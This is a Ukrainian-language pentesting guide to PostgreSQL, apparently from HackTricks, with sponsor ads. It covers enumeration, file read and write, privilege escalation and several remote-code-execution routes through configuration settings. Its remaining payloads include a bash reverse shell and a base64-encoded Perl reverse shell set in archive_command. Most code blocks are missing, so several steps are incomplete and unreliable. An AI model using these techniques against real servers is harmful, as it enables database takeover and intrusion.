5432,5433 - Pentesting Postgresql
Використовуйте Trickest для легкого створення та автоматизації робочих процесів, підтримуваних найсучаснішими інструментами спільноти. Отримайте доступ сьогодні:
Основна інформація
PostgreSQL описується як об'єктно-реляційна система управління базами даних, яка є відкритим кодом. Ця система не лише використовує мову SQL, але й покращує її додатковими функціями. Її можливості дозволяють обробляти широкий спектр типів даних та операцій, що робить її універсальним вибором для розробників та організацій.
Порт за замовчуванням: 5432, і якщо цей порт вже використовується, то, здається, postgresql використовуватиме наступний порт (ймовірно, 5433), який не використовується.
Підключення та базове перерахування
Якщо при виконанні \list
ви знайдете базу даних під назвою rdsadmin
, ви знаєте, що ви всередині AWS postgresql database.
Для отримання додаткової інформації про як зловживати PostgreSQL базою даних дивіться:
Автоматичне перерахування
Сканування портів
Згідно з цим дослідженням, коли спроба підключення не вдається, dblink
викидає виключення sqlclient_unable_to_establish_sqlconnection
, яке містить пояснення помилки. Приклади цих деталей наведені нижче.
Хост недоступний
ДЕТАЛІ: не вдалося підключитися до сервера: Немає маршруту до хоста. Чи працює сервер на хості "1.2.3.4" і приймає TCP/IP з'єднання на порту 5678?
Порт закритий
Порт відкритий
or
Порт відкритий або фільтрується
У функціях PL/pgSQL наразі неможливо отримати деталі виключень. Однак, якщо у вас є прямий доступ до сервера PostgreSQL, ви можете отримати необхідну інформацію. Якщо витягти імена користувачів та паролі з системних таблиць неможливо, ви можете розглянути можливість використання методу атаки зі словником, обговореного в попередньому розділі, оскільки це може дати позитивні результати.
Перерахування Привілеїв
Ролі
Цікаві Групи
Якщо ви є членом
pg_execute_server_program
, ви можете виконувати програмиЯкщо ви є членом
pg_read_server_files
, ви можете читати файлиЯкщо ви є членом
pg_write_server_files
, ви можете писати файли
Зверніть увагу, що в Postgres користувач, група та роль є одним і тим же. Це залежить від того, як ви це використовуєте і чи дозволяєте їй входити в систему.
Таблиці
Функції
File-system actions
Read directories and files
З цього коміту члени визначеної DEFAULT_ROLE_READ_SERVER_FILES
групи (названої pg_read_server_files
) та суперкористувачі можуть використовувати метод COPY
на будь-якому шляху (перевірте convert_and_check_filename
у genfile.c
):
Пам'ятайте, що якщо ви не є суперкористувачем, але маєте права CREATEROLE, ви можете додати себе до цього групи:
Існують інші функції postgres, які можна використовувати для читання файлів або переліку директорій. Тільки суперкористувачі та користувачі з явними дозволами можуть їх використовувати:
Ви можете знайти більше функцій в https://www.postgresql.org/docs/current/functions-admin.html
Просте записування файлів
Тільки суперкористувачі та члени pg_write_server_files
можуть використовувати copy для запису файлів.
Пам'ятайте, що якщо ви не є суперкористувачем, але маєте права CREATEROLE
, ви можете додати себе до цієї групи:
Пам'ятайте, що COPY не може обробляти символи нового рядка, тому навіть якщо ви використовуєте корисне навантаження base64, вам потрібно надіслати однорядковий запит.
Дуже важливе обмеження цієї техніки полягає в тому, що copy
не може бути використаний для запису бінарних файлів, оскільки він змінює деякі бінарні значення.
Завантаження бінарних файлів
Однак існують інші техніки для завантаження великих бінарних файлів:
Порада для баг-баунті: зареєструйтесь на Intigriti, преміум платформі для баг-баунті, створеній хакерами для хакерів! Приєднуйтесь до нас на https://go.intigriti.com/hacktricks сьогодні та почніть заробляти винагороди до $100,000!
Оновлення даних таблиці PostgreSQL через запис локального файлу
Якщо у вас є необхідні дозволи для читання та запису файлів сервера PostgreSQL, ви можете оновити будь-яку таблицю на сервері, перезаписавши відповідний файл вузла в каталозі даних PostgreSQL. Більше про цю техніку тут.
Необхідні кроки:
Отримайте каталог даних PostgreSQL
Примітка: Якщо ви не можете отримати поточний шлях до каталогу даних з налаштувань, ви можете запитати основну версію PostgreSQL через запит SELECT version()
і спробувати перебрати шлях. Загальні шляхи до каталогу даних на Unix-інсталяціях PostgreSQL: /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/
. Загальне ім'я кластера - main
. 2. Отримайте відносний шлях до файлу вузла, пов'язаного з цільовою таблицею
Цей запит повинен повернути щось на зразок base/3/1337
. Повний шлях на диску буде $DATA_DIRECTORY/base/3/1337
, тобто /var/lib/postgresql/13/main/base/3/1337
. 3. Завантажте файл вузла через функції lo_*
Отримайте тип даних, пов'язаний з цільовою таблицею
Використовуйте PostgreSQL Filenode Editor для редагування файлу вузла; встановіть всі булеві прапори
rol*
на 1 для повних прав.
(Опціонально) Очистіть кеш таблиці в пам'яті, запустивши витратний SQL-запит
Тепер ви повинні бачити оновлені значення таблиці в PostgreSQL.
Ви також можете стати суперадміністратором, редагуючи таблицю pg_authid
. Дивіться наступний розділ.
RCE
RCE до програми
Оскільки версія 9.3, тільки суперкористувачі та члени групи pg_execute_server_program
можуть використовувати copy для RCE (приклад з ексфільтрацією:
Приклад для exec:
Пам'ятайте, що якщо ви не є суперкористувачем, але маєте права CREATEROLE
, ви можете додати себе до цієї групи:
Або використовуйте модуль multi/postgres/postgres_copy_from_program_cmd_exec
з metasploit.
Більше інформації про цю вразливість тут. Хоча це було зареєстровано як CVE-2019-9193, Postges оголосив, що це функція і не буде виправлено.
RCE з мовами PostgreSQL
RCE з розширеннями PostgreSQL
Якщо ви навчилися з попереднього посту як завантажувати бінарні файли, ви можете спробувати отримати RCE, завантажуючи розширення postgresql і завантажуючи його.
RCE з конфігураційного файлу PostgreSQL
Наступні вектори RCE особливо корисні в обмежених контекстах SQLi, оскільки всі кроки можуть бути виконані через вкладені оператори SELECT
Конфігураційний файл PostgreSQL є записуваним користувачем postgres, який запускає базу даних, тому як суперкористувач, ви можете записувати файли в файловій системі, а отже, ви можете перезаписати цей файл.
RCE з ssl_passphrase_command
Більше інформації про цю техніку тут.
Конфігураційний файл має кілька цікавих атрибутів, які можуть призвести до RCE:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
Шлях до приватного ключа бази данихssl_passphrase_command = ''
Якщо приватний файл захищений паролем (шифрований), postgresql виконає команду, вказану в цьому атрибуті.ssl_passphrase_command_supports_reload = off
Якщо цей атрибут включений, команда, що виконується, якщо ключ захищений паролем, буде виконана під час виконанняpg_reload_conf()
.
Отже, зловмиснику потрібно:
Скинути приватний ключ з сервера
Зашифрувати завантажений приватний ключ:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
Перезаписати
Скинути поточну конфігурацію postgresql
Перезаписати конфігурацію з вказаними атрибутами:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
ssl_passphrase_command_supports_reload = on
Виконати
pg_reload_conf()
Під час тестування я помітив, що це буде працювати лише якщо файл приватного ключа має привілеї 640, він належить root і групі ssl-cert або postgres (щоб користувач postgres міг його читати), і розміщений у /var/lib/postgresql/12/main.
RCE з archive_command
Більше інформації про цю конфігурацію та про WAL тут.
Ще один атрибут у конфігураційному файлі, який можна експлуатувати, це archive_command
.
Для цього archive_mode
має бути 'on'
або 'always'
. Якщо це правда, то ми можемо перезаписати команду в archive_command
і змусити її виконатися через операції WAL (журнал попереднього запису).
Загальні кроки:
Перевірте, чи увімкнено режим архівування:
SELECT current_setting('archive_mode')
Перезапишіть
archive_command
з корисним навантаженням. Наприклад, зворотний шелл:archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
Перезавантажте конфігурацію:
SELECT pg_reload_conf()
Примусьте операцію WAL виконатися, що викличе команду архівування:
SELECT pg_switch_wal()
абоSELECT pg_switch_xlog()
для деяких версій Postgres
RCE з попередньо завантаженими бібліотеками
Більше інформації про цю техніку тут.
Цей вектор атаки використовує наступні змінні конфігурації:
session_preload_libraries
-- бібліотеки, які будуть завантажені сервером PostgreSQL під час підключення клієнта.dynamic_library_path
-- список директорій, де сервер PostgreSQL шукатиме бібліотеки.
Ми можемо встановити значення dynamic_library_path
на директорію, записувану користувачем postgres
, що запускає базу даних, наприклад, директорію /tmp/
, і завантажити туди шкідливий об'єкт .so
. Далі ми змусимо сервер PostgreSQL завантажити нашу нову бібліотеку, включивши її в змінну session_preload_libraries
.
Кроки атаки:
Завантажте оригінальний
postgresql.conf
Включіть директорію
/tmp/
у значенняdynamic_library_path
, наприклад,dynamic_library_path = '/tmp:$libdir'
Включіть ім'я шкідливої бібліотеки в значення
session_preload_libraries
, наприклад,session_preload_libraries = 'payload.so'
Перевірте основну версію PostgreSQL за допомогою запиту
SELECT version()
Скомпілюйте код шкідливої бібліотеки з правильним пакетом розробника PostgreSQL Приклад коду:
Компілірування коду:
Завантажте шкідливий
postgresql.conf
, створений на етапах 2-3, і перезапишіть оригінальнийЗавантажте
payload.so
з етапу 5 у директорію/tmp
Перезавантажте конфігурацію сервера, перезапустивши сервер або викликавши запит
SELECT pg_reload_conf()
При наступному підключенні до БД ви отримаєте зворотне з'єднання шеллу.
Підвищення привілеїв Postgres
Підвищення привілеїв CREATEROLE
Надання
Згідно з документацією: Ролі, що мають привілей CREATEROLE
, можуть надавати або відкликати членство в будь-якій ролі, яка не є суперкористувачем.
Отже, якщо у вас є дозвіл CREATEROLE
, ви можете надати собі доступ до інших ролей (які не є суперкористувачами), що можуть дати вам можливість читати та записувати файли та виконувати команди:
Змінити пароль
Користувачі з цією роллю також можуть змінювати паролі інших не-суперкористувачів:
Privesc to SUPERUSER
Досить поширено, що локальні користувачі можуть входити в PostgreSQL без надання будь-якого пароля. Тому, як тільки ви отримали дозволи на виконання коду, ви можете зловживати цими дозволами, щоб надати собі роль SUPERUSER
:
Це зазвичай можливо через наступні рядки у файлі pg_hba.conf
:
ALTER TABLE privesc
У цьому звіті пояснюється, як було можливим privesc у Postgres GCP, зловживаючи привілеєм ALTER TABLE, який був наданий користувачу.
Коли ви намагаєтеся зробити іншого користувача власником таблиці, ви повинні отримати помилку, яка цьому заважає, але, очевидно, GCP надала цю опцію не-суперкористувачу postgres в GCP:
Поєднуючи цю ідею з тим фактом, що коли команди INSERT/UPDATE/ANALYZE виконуються на таблиці з функцією індексу, функція викликається як частина команди з дозволами власника таблиці. Можливо створити індекс з функцією та надати дозволи власника суперкористувачу над цією таблицею, а потім виконати ANALYZE над таблицею з шкідливою функцією, яка зможе виконувати команди, оскільки використовує привілеї власника.
Exploitation
Почніть з створення нової таблиці.
Вставте деякий нерелевантний контент у таблицю, щоб надати дані для функції індексації.
Розробіть шкідливу функцію індексації, яка містить код виконання, що дозволяє виконувати несанкціоновані команди.
Змініть власника таблиці на "cloudsqladmin", що є роллю суперкористувача GCP, яка використовується виключно Cloud SQL для управління та обслуговування бази даних.
Виконайте операцію ANALYZE на таблиці. Ця дія змушує движок PostgreSQL перейти в контекст користувача власника таблиці, "cloudsqladmin". Внаслідок цього шкідлива функція індексації викликається з правами "cloudsqladmin", що дозволяє виконання раніше несанкціонованої команди оболонки.
In PostgreSQL, this flow looks something like this: